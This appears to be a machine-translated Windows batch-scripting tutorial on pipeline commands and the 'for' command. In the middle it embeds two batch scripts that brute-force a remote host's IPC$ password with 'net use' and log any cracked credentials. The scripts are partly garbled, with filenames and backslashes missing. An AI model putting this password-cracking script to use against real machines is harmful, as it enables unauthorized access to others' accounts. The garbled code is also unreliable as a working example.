SoFunction
Updated on 2025-04-10

Another good batch bat learning tutorial


Warning: Friends suffering from cardiovascular and cerebrovascular diseases, please do not study the above two cases, otherwise the head will be as big as a bucket in mild cases, and the blood vessels will be burst in severe cases. Any accident caused by anyone due to studying the difference between these two scripts is the responsibility of himself or his legal guardian and has nothing to do with himself or this forum. Here is a warning!

That’s all for the introduction to pipeline commands and combination commands. I wonder if you are smart or not?

These commands really made my head big. There is a widely circulated batch tutorial on the Internet: "Concise Batch Tutorial". Although it is more comprehensive, it seems to be unsatisfactory. When introducing for and other commands, it's just a for/?>  & start. It's over (of course I can't say anything about this, after all, I didn't even give for/?), and there's no introduction to the above pipeline commands and combination commands, as well as the registry that will be discussed in this tutorial in the future. The reason why I spent a whole chapter on pipeline commands and combination commands is because they are the essence and soul of batch processing. Whether I can make good use of these commands is the prerequisite for batch processing. For example, DOS commands such as for and set can be learned in a targeted manner from the perspective of DOS, but it is not easy to master these commands--the relationship between them is too complicated!
Save the following code as a bat file
1. If you use a dictionary to crack: dictionary file path and name host username
2. If cracked with numbers: Start number, Step size, End number, Host username
After the password is cracked, it is stored in the c:\ file.
Save the following code as a file


Copy the codeThe code is as follows:

@echo off  
echo ------------------------------------------------------------------- >>c:  
echo ------------------------------------------------------------------- >>c:  
date /t >>c:  
time /t >>c:  
echo Cracking results: >>c:
if "%6"=="1" goto Big stick is what I say 2
:Big stick is mine 1
start "Cracking"/min cmd /c for /f %%i in (%1) do call  %2 "%%i" %3
goto quit  
:Big stick is mine 2
start "Cracking"/min cmd /c for /l %%i in (%1,%2,%3) do call  %4 "%%i" %5
:quit  

Save the following code as

Copy the codeThe code is as follows:

net use \%1ipc$ %2 /user:"%3"  
goto answer%ERRORLEVEL%  
rem %ERRORLEVEL% means to get the result of the previous command execution, net use returns 0 successfully, and return 2 in failure
:answer0  
echo remote host: "%1" >>c:
echo user: "%3" >>c:
echo Password: %2 >>c:
net use \%1ipc$ /delet  
exit  
:answer2  


“For”: 
Runs the specified command on each file in a set of files.

The for command can be used in the batch program or directly from the command prompt.

To use the for command in a batch program, use the following syntax:

for %%variable in (set) docommand [command-parameters] 

To use for at the command prompt, use the following syntax:

for %variable in (set) do command [command-parameters] 

Parameters

%%variable  or %variable

Represents alternative parameters. The for command replaces %%variable (or %variable) with each text string specified in set  until this command (specified in command-parameters) processes all files. Use %% variable to execute the for command in the batch program. Use % variable to execute the for command via the command prompt. Variable names are case sensitive.

(set) 

Specifies one or more files or text strings to be processed with the specified command. Brackets are required.

command 

Specifies the command to be executed on each file contained in the specified set.

command-parameters 

Specifies any parameter or switch to use for a specified command (if the specified command is to use any parameter or switch).

If command extensions are enabled (the default setting in Windows 2000), other forms of the for command will be supported.
Other forms of For command
If command extension is enabled, other formats of the following for commands will be supported:

Only for directories

for /D [%% | %]variable in (set) docommand [command-parameters] 

If set  contains wildcards (*  and ?), then specify a matching directory name, not file name.

recursion

for /R [[drive :]path] [%% | %]variable in (set) docommand [command-parameters] 

Enter the root directory tree [drive:]path and execute the for statement in each directory of the tree. If no directory is specified after /R, it is assumed to be the current directory. If set is just a period (.)  character, only the directory tree is listed.

Iteration

for /L [%% | %]variable in (start,step,end) do command [command-parameters] 

A set is a series of numbers divided by step size, from beginning to end. In this way, (1,1,5) will generate sequence 1 2 3 4 5, and (5,-1,1) will generate sequence  (5 4 3 2 1).